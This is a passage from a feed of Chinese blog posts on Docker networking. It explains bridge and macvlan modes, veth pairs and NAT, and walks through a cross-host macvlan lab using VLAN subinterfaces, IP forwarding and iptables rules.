&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;docker-macvlan-network-create.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
执行命令 &lt;code&gt;docker run -itd --network=mymacvlan --ip=192.168.50.20 --name=centos-test centos&lt;&#x2F;code&gt; 进行启动容器
–network：指定为上面创建的网络
–ip：指定IP地址，如果不指定的话会自动分配。建议自己指定，可避免IP地址冲突问题
启动完成后，通过docker exec 进入容器中，进行操作，查看IP地址，ping windows，使用tcpdump抓包进行查看能否收到&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=DHCP&amp;amp;spm=1001.2101.3001.7020&quot;&gt;DHCP&lt;&#x2F;a&gt;广播包。发现能ping通windows和与windows相通的机器，能抓包到DHCP包。大功告成。
容器和Linux宿主机是不能ping通的
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;macvlan-container-same-lan.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
至此，就已经完成了需要容器和其宿主机某一网卡在同一局域网内，可以接收宿主机的物理网络啦。在使用此种方式启动时，可以不用映射端口，可以直接使用容器IP+端口进行访问了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Docker的bridge和macvlan两种网络模式 - 张艳华 - 博客园</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/docker的bridge和macvlan两种网络模式-张艳华-博客园/"/>
        <id>https://vercel.juzhong.asia/obsidian/docker的bridge和macvlan两种网络模式-张艳华-博客园/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/docker的bridge和macvlan两种网络模式-张艳华-博客园/">&lt;h1 id=&quot;dockerde-bridgehe-macvlanliang-chong-wang-luo-mo-shi-zhang-yan-hua-bo-ke-yuan&quot;&gt;Docker的bridge和macvlan两种网络模式 - 张艳华 - 博客园&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Docker有好几种网络模式，这里介绍下bridge和macvlan两种模式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Bridge模式&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    Bridge模式是Docker默认的网络模式，当Docker进程启动时，会在主机上创建一个名为docker0的虚拟网桥，用来连接宿主机和容器，此主机上的Docker容器都会连接到这个虚拟网桥上，虚拟网桥的工作方式和物理交换机类似，这样所有容器就通过交换机连在了一个二层网络中。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看一下实际创建容器后的情况&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker0-bridge-host-route.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker0-bridge-route.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面两个图是宿主机上看到的，创建了一个docker0的网桥，ip是172.17.0.1&#x2F;16，并且创建了一个路由，ip在172.17.0.0&#x2F;16段的都会都会转到docker0网桥上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-container-eth0-route.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上图是从容器内部看到的，容器有eth0这个网卡对外通信，ip是172.17.0.2&#x2F;16，跟docker0在同一网段，路由里default via 172.17.0.1指定了容器的网关是docker0&lt;&#x2F;p&gt;
&lt;p&gt;并且容器的eth0还是eth0@if45，就是45网卡的一个接口&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-host-veth-peer.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-host-veth-pair.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面是宿主机的网卡信息，可以看到有一个编号45的&quot;veth&quot; 开头的网卡，这是一个 veth 设备，而 veth 设备总是成对出现的，另一半就是上面容器内的那个eth0，并且查看网桥信息也能看到这个veth的设备跟docker0网桥是绑定关系。&lt;&#x2F;p&gt;
&lt;p&gt;通过上面的基本上就明确网络的模式了，Docker利用 veth pair技术，在宿主机上创建了两个虚拟网络接口 veth0 和 veth1（veth pair技术的特性可以保证无论哪一个veth 接收到网络报文，都会无条件地传输给另一方），Docker将veth pair设备的一端放在新创建的容器中，并命名为eth0（容器的网卡，从docker0子网中分配一个IP给容器使用，并设置docker0的IP地址为容器的默认网关），另一端放在主机中，以vethxxx这样类似的名字命名，并将这个网络设备加入到docker0网桥中。可以通过brctl show命令查看，这样容器和网桥就可以相互通信了。网络结构如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;容器与宿主机通信&lt;&#x2F;strong&gt; : 在桥接模式下，Docker Daemon将veth0附加到docker0网桥上，保证宿主机的报文有能力发往veth0。再将veth1 添加到Docker 容器所属的网络命名空间，保证宿主机的网络报文若发往 veth0 可以立即被 veth1 收到。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;容器与外界通信&lt;&#x2F;strong&gt; : 容器如果需要联网，则需要采用 NAT（是一种在 ip 数据包通过路由器或防火墙时，重写来源 ip 地址或目的 ip 地址的技术） 方式。准确的说，是 NATP (网络地址端口转换) 方式。NATP 包含两种转换方式：SNAT 和 DNAT 。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宿主机外访问容器时（修改数据包的目的地址）：&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-dnat-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于容器的 IP 与端口对外都是不可见的，所以数据包的目的地址为&lt;strong&gt;宿主机&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 192.168.1.10:24 。&lt;&#x2F;p&gt;
&lt;p&gt;数据包经过路由器发给宿主机 eth0，再经 eth0 转发给 docker0 网桥。由于存在 DNAT 规则，会将数据包的目的地址转换为&lt;strong&gt;容器&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 172.17.0.n:24 。&lt;&#x2F;p&gt;
&lt;p&gt;宿主机上的 docker0 网桥识别到容器 ip 和端口，于是将数据包发送附加到 docker0 网桥上的 veth0 接口，veth0 接口再将数据包发送给容器内部的 veth1 接口，容器接收数据包并作出响应。&lt;&#x2F;p&gt;
&lt;p&gt;整个过程如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-dnat-packet-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;容器访问宿主机之外时（修改数据包的源地址）&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-snat-outbound.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此时数据包的源地址为&lt;strong&gt;容器&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 172.17.0.n:24，容器内部的 veth1 接口将数据包发往 veth0 接口，到达 docker0 网桥。&lt;&#x2F;p&gt;
&lt;p&gt;宿主机上的 docker0 网桥发现数据包的目的地址为外界的 IP 和端口，便会将数据包转发给 eth0 ，并从 eth0 发出去。由于存在 SNAT 规则，会将数据包的源地址转换为&lt;strong&gt;宿主机&lt;&#x2F;strong&gt;的&lt;strong&gt;ip&lt;&#x2F;strong&gt; 和&lt;strong&gt;端口&lt;&#x2F;strong&gt;，为 192.168.1.10:24 。&lt;&#x2F;p&gt;
&lt;p&gt;由于路由器可以识别到宿主机的 ip 地址，所以再将数据包转发给外界，外界接受数据包并作出响应。这时候，在外界看来，这个数据包就是从 192.168.1.10:24 上发出来的，Docker 容器对外是不可见的。&lt;&#x2F;p&gt;
&lt;p&gt;整个过程如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-snat-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;macvlan模式&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;macvlan本身是linxu kernel的模块，本质上是一种网卡虚拟化技术。其功能是允许在同一个物理网卡上虚拟出多个网卡，通过不同的MAC地址在数据链路层进行网络数据的转发，一块网卡上配置多个 MAC 地址（即多个 interface），每个interface可以配置自己的IP，Docker的macvlan网络实际上就是使用了Linux提供的macvlan驱动&lt;&#x2F;p&gt;
&lt;p&gt;因为多个MAC地址的网络数据包都是从同一块网卡上传输，所以需要打开网卡的混杂模式ip link set eth0 promisc on;&lt;&#x2F;p&gt;
&lt;p&gt;创建macvlan网络不同于桥接模式，需要指定网段和网关，并且都得是真实存在的，例如docker network create -d macvlan --subnet=10.9.8.0&#x2F;24 --gateway=10.9.8.254 -o parent=eth0 macvlan-test&lt;&#x2F;p&gt;
&lt;p&gt;macvlan模式不依赖网桥，所以brctl show查看并没有创建新的bridge，但是查看容器的网络，会看到虚拟网卡对应了一个interface是2&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;macvlan-container-interface.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看宿主机的网络，2正是虚机的网卡&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;macvlan-container-network-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可见，容器的 eth0 就是宿主机的eth0通过macvlan虚拟出来的interface。容器的interface直接与主机的网卡连接，这种方案使得容器无需通过NAT和端口映射就能与外网直接通信（只要有网关），在网络上看起来与其他独立主机没有区别。当前网络结构如图所示：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-macvlan-network-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;macvlan会独占主机的网卡，也就是说一个网卡只能创建一个macvlan 网络，否则会报错，为了能支持更多的macvlan网络，macvlan不仅可以连接到interface（如eth0），也可以连接到网卡的子接口sub-interface（如eth0.xxx）。&lt;&#x2F;p&gt;
&lt;p&gt;VLAN 是现代网络常用的网络虚拟化技术，它可以将物理的二层网络划分成多达 4094 个逻辑网络，这些逻辑网络在二层上是隔离的，每个逻辑网络（即 VLAN）由 VLAN ID 区分，VLAN ID 的取值为 1-4094。Linux 的网卡也能支持 VLAN（apt-get install vlan），同一个 interface可以收发多个VLAN 的数据包，不过前提是要创建 VLAN的 sub-interface。比如希望 eth0同时支持 VLAN10 和 VLAN20，则需创建 sub-interface eth0.10 和 eth0.20。创建的子接口是可以看到的，如下如&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;vlan-sub-interface-list.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在交换机上，如果某个端口只能收发单个VLAN的数据，该port为Access模式，如果支持多个VLAN，则为Trunk模式，要实现多个macvlan，网卡要接在交换机的 trunk口上。&lt;&#x2F;p&gt;
&lt;p&gt;例如给网卡创建了10、20两个子接口后，分别创建容器后的网络结构如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;macvlan-vlan-subinterface-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Docker跨主机通信之macvlan · Docker实战</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/docker跨主机通信之macvlan-docker实战/"/>
        <id>https://vercel.juzhong.asia/obsidian/docker跨主机通信之macvlan-docker实战/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/docker跨主机通信之macvlan-docker实战/">&lt;h1 id=&quot;dockerkua-zhu-ji-tong-xin-zhi-macvlan-dockershi-zhan&quot;&gt;Docker跨主机通信之macvlan · Docker实战&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;dockerkua-zhu-ji-tong-xin-zhi-macvlan&quot;&gt;Docker跨主机通信之macvlan&lt;&#x2F;h2&gt;
&lt;p&gt;macvlan 本身是 linxu kernel 模块，其功能是允许在同一个物理网卡上配置多个虚拟网卡，即多个 interface，每个 interface 可以配置自己的 IP。macvlan 本质上是一种网卡虚拟化技术。&lt;&#x2F;p&gt;
&lt;p&gt;macvlan 的最大优点是性能极好，相比其他方式，macvlan 不需要创建 Linux bridge，而是直接通过interface 连接到物理网络。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-principle.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0-zhun-bei-shi-yan-huan-jing&quot;&gt;0、准备实验环境&lt;&#x2F;h2&gt;
&lt;p&gt;我们会使用 node1和 node2 上单独的网卡创建 macvlan。为保证多个 MAC 地址的网络包都可以从网卡通过，我们需要打开网卡的混杂模式。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip link set enp0s3 promisc on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确保 enp0s3 状态 UP 并且 promisc 模式已经生效。&lt;&#x2F;p&gt;
&lt;p&gt;因为  node2 和 node3 是 VirtualBox 虚拟机，还需要在网卡配置选项页中设置混杂模式。&lt;&#x2F;p&gt;
&lt;p&gt;当前实验环境拓扑图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-lab-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-xiang-tong-macvlan-wang-luo-zhi-jian-de-tong-xin&quot;&gt;1、相同 macvlan 网络之间的通信&lt;&#x2F;h2&gt;
&lt;p&gt;分别在 node2 和 node3 中创建 macvlan 网络 macvlan1：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network create -d macvlan --subnet=172.16.5.0&amp;#x2F;24 --gateway=172.16.5.1 -o parent=enp0s3 macvlan1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令中，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-d&lt;&#x2F;code&gt; 指定 Docker 网络 driver&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--subnet&lt;&#x2F;code&gt; 指定 macvlan 网络所在的网络&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--gateway&lt;&#x2F;code&gt; 指定网关&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-o parent&lt;&#x2F;code&gt; 指定用来分配 macvlan 网络的物理网卡&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;之后可以看到当前主机的网络环境，其中出现了 macvlan 网络：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
2c49b5f1a0f2        bridge              bridge              local
1651b429a674        host                host                local
1d34c56c6448        macvlan1            macvlan             local
4f2664e6f883        none                null                local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 node1 中运行容器 busybox1 并连接到 macvlan1。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run -itd --name busybox1 --ip=172.16.5.2 --network macvlan1 busybox
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令中，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--ip&lt;&#x2F;code&gt; 指定容器 busybox1使用的 IP，这样做的目的是防止自动分配，造成 IP 冲突&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--network&lt;&#x2F;code&gt; 指定 macvlan 网络&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;同样在 node2 中运行容器 busybox2：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run -itd --name busybox2 --ip=172.16.5.3 --network macvlan1 busybox
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证 busybox1 和 busybox2 的连通性。&lt;&#x2F;p&gt;
&lt;p&gt;busybox2 能够 ping 通 busybox1 的 IP 172.16.10.2&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it busybox2 &amp;#x2F;bin&amp;#x2F;sh
&amp;#x2F; # ping 172.16.5.2
PING 172.16.5.2 (172.16.5.2): 56 data bytes
64 bytes from 172.16.5.2: seq=0 ttl=64 time=0.615 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-bu-tong-macvlan-wang-luo-zhi-jian-de-tong-xin&quot;&gt;2、不同 macvlan 网络之间的通信&lt;&#x2F;h2&gt;
&lt;p&gt;macvlan 会独占主机的物理网卡，也就是说一个物理网卡只能创建一个 macvlan 网络，否则会报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network create -d macvlan --subnet=172.16.20.0&amp;#x2F;24 --gateway=172.16.20.1 -o parent=enp0s3 macvlan2
Error response from daemon: network dm-1d34c56c6448 is already using parent interface enp0s3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果我们想创建多个 macvlan 网络就得用多张网卡，但主机的物理网卡数量是有限的。&lt;&#x2F;p&gt;
&lt;p&gt;如何支持更多的 macvlan 网络呢？&lt;&#x2F;p&gt;
&lt;p&gt;好在 macvlan 不仅可以连接到 interface（如 enp0s3），也可以连接到 sub-interface（如 enp0s33.100）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在交换机上,如果某个 port 只能收发单个 VLAN 的数据,该 port 为 Access 模式. 如果支持多 VLAN,则为 Trunk 模式.enp0s3 要接在交换机的 trunk 口上&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们来看看不同 macvlan 网络之间的连通性，拓扑环境如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-multi-network-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-chuang-jian-zi-jie-kou&quot;&gt;2.1  创建子接口&lt;&#x2F;h3&gt;
&lt;p&gt;首先分别在两台主机上将物理网口 创建出两个 VLAN 子接口&lt;&#x2F;p&gt;
&lt;p&gt;配置vlan需要vconfig命令,由于centos7上没有自带vconfig命令,所以需要安装vconfig&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#确认内核是够载入了802.1q模组
lsmod|grep 8021q
#如果没载入使用这个命令载入模组
modprobe -a 8021q
#配置epel源
yum install epel-release -y
#安装vconfig
yum install vconfig -y
#通过ip -a或者ifconfig -a查看是否生效
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;# 使用 vconfig 命令在 enp0s3 配置两个 VLAN
#node2 和 node3
vconfig add enp0s3 100
vconfig add enp0s3 200

# 设置 VLAN 的 REORDER_HDR 参数，默认就行了
#node2 和 node3
vconfig set_flag enp0s3.100 1 1
vconfig set_flag enp0s3.200 1 1

# 启用接口
# node2 和 node3
ifconfig enp0s3.100 up
ifconfig enp0s3.200 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-2-chuang-jian-macvlan&quot;&gt;2.2 创建macvlan&lt;&#x2F;h3&gt;
&lt;p&gt;分别在 node2 和 node3 上基于两个 VLAN 子接口创建 2 个 macvlan 网络，mac10 和 mac20&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#node2 和 node3
docker network create -d macvlan --subnet=172.16.10.0&amp;#x2F;24 --gateway=172.16.10.1 -o parent=enp0s3.100 mac10
docker network create -d macvlan --subnet=172.16.20.0&amp;#x2F;24 --gateway=172.16.20.1 -o parent=enp0s3.200 mac20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-3-chuang-jian-rong-qi&quot;&gt;2.3  创建容器&lt;&#x2F;h3&gt;
&lt;p&gt;分别在 node2 和 node3 上运行容器，并指定不同的 macvlan 网络&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# node2
docker run -itd --name box1 --ip=172.16.10.10 --network mac10 busybox
docker run -itd --name box2 --ip=172.16.20.10 --network mac20 busybox

# node3
docker run -itd --name box3 --ip=172.16.10.11 --network mac10 busybox
docker run -itd --name box4 --ip=172.16.20.11 --network mac20 busybox
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过验证，box1 和 box3，box2 和 box4 在同一 macvlan 网络下，互相可以 ping 通，box1 和 box2，box3 和 box4 在不同的 macvlan 网络下，互相 ping 不通。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@tuling2 ~]# docker exec -it box1 ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:10:0A:0A
          inet addr:172.16.10.10  Bcast:172.16.10.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

[root@tuling2 ~]# docker exec -it box1 ping 172.16.10.11
PING 172.16.10.11 (172.16.10.11): 56 data bytes
64 bytes from 172.16.10.11: seq=0 ttl=64 time=2.781 ms
64 bytes from 172.16.10.11: seq=1 ttl=64 time=1.106 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个原因也很明确，不同 macvlan 网络处于不同的网络，而且通过 VLAN 隔离，自然 ping 不了。&lt;&#x2F;p&gt;
&lt;p&gt;但这也只是在二层上通不了，通过三层的路由是可以通的，我们这就来验证下。&lt;&#x2F;p&gt;
&lt;p&gt;重新找一台主机 node1，通过打开 &lt;code&gt;ip_forward&lt;&#x2F;code&gt; 把它改造成一台路由器，用来打通两个 macvlan 网络，大概的图示如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-cross-host-routing.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-kai-qi-lu-you-zhuan-fa&quot;&gt;2.4  开启路由转发&lt;&#x2F;h3&gt;
&lt;p&gt;首先对 node1执行 &lt;code&gt;sysctl -w net.ipv4.ip_forward=1&lt;&#x2F;code&gt; 打开路由开关。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-5-she-zhi-wang-guan&quot;&gt;2.5 设置网关&lt;&#x2F;h3&gt;
&lt;p&gt;然后创建两个 VLAN 子接口，一个作为 macvlan 网络 mac10 的网关，一个作为 mac20 的网关。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;vconfig add enp0s3 100
vconfig add enp0s3 200
vconfig set_flag enp0s3.100 1 1
vconfig set_flag enp0s3.200 1 1

# 对 vlan 子接口配置网关 IP 并启用
ifconfig enp0s3.100 172.16.10.1 netmask 255.255.255.0 up
ifconfig enp0s3.200 172.16.20.1 netmask 255.255.255.0 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-6-she-zhi-iptables&quot;&gt;2.6 设置IPtables&lt;&#x2F;h3&gt;
&lt;p&gt;添加 iptables 规则，转发不同 VLAN 的数据包&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; iptables -t nat -A POSTROUTING -o enp0s3.100 -j MASQUERADE
 iptables -t nat -A POSTROUTING -o enp0s3.200 -j MASQUERADE

 iptables -A FORWARD -i enp0s3.100 -o enp0s3.200 -m state --state RELATED,ESTABLISHED -j ACCEPT
 iptables -A FORWARD -i enp0s3.200 -o enp0s3.100 -m state --state RELATED,ESTABLISHED -j ACCEPT

 iptables -A FORWARD -i enp0s3.100 -o enp0s3.200 -j ACCEPT
 iptables -A FORWARD -i enp0s3.200 -o enp0s3.100 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样之后再从 box1 ping box2 和 box4，就可以 ping 通了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@tuling2 ~]# docker exec -it box1 ping 172.16.10.11
PING 172.16.10.11 (172.16.10.11): 56 data bytes
64 bytes from 172.16.10.11: seq=0 ttl=64 time=2.603 ms
^C
--- 172.16.10.11 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min&amp;#x2F;avg&amp;#x2F;max = 2.603&amp;#x2F;2.603&amp;#x2F;2.603 ms
[root@tuling2 ~]# docker exec -it box1 ping 172.16.20.11
PING 172.16.20.11 (172.16.20.11): 56 data bytes
64 bytes from 172.16.20.11: seq=0 ttl=63 time=2.771 ms
64 bytes from 172.16.20.11: seq=1 ttl=63 time=0.833 ms
64 bytes from 172.16.20.11: seq=2 ttl=63 time=1.834 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面我们分析数据包是如何从 box1（172.16.10.10）到达 box4（172.16.20.11）的。&lt;&#x2F;p&gt;
&lt;p&gt;我们在创建容器的时候指定了网关 &lt;code&gt;172.16.10.1&lt;&#x2F;code&gt;，所以数据包自然会被路由到 node1 的接口。看下 node1 的路由&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@tuling1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 enp0s3
169.254.0.0     0.0.0.0         255.255.0.0     U     1002   0        0 enp0s3
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 enp0s3.100
172.16.20.0     0.0.0.0         255.255.255.0   U     0      0        0 enp0s3.200
172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 enp0s3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，去往 &lt;code&gt;172.16.10.0&#x2F;24&lt;&#x2F;code&gt; 网段的数据包会从 enp0s3.100 出去，同理 &lt;code&gt;172.16.20.0&#x2F;24&lt;&#x2F;code&gt; 网段也是，再加上 node1 的 &lt;code&gt;ip_forward&lt;&#x2F;code&gt; 打开，这就打通了两个 macvlan 网络之间的通路。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;macvlan 是一种网卡虚拟化技术，能够将一张网卡虚拟出多张网卡。&lt;&#x2F;p&gt;
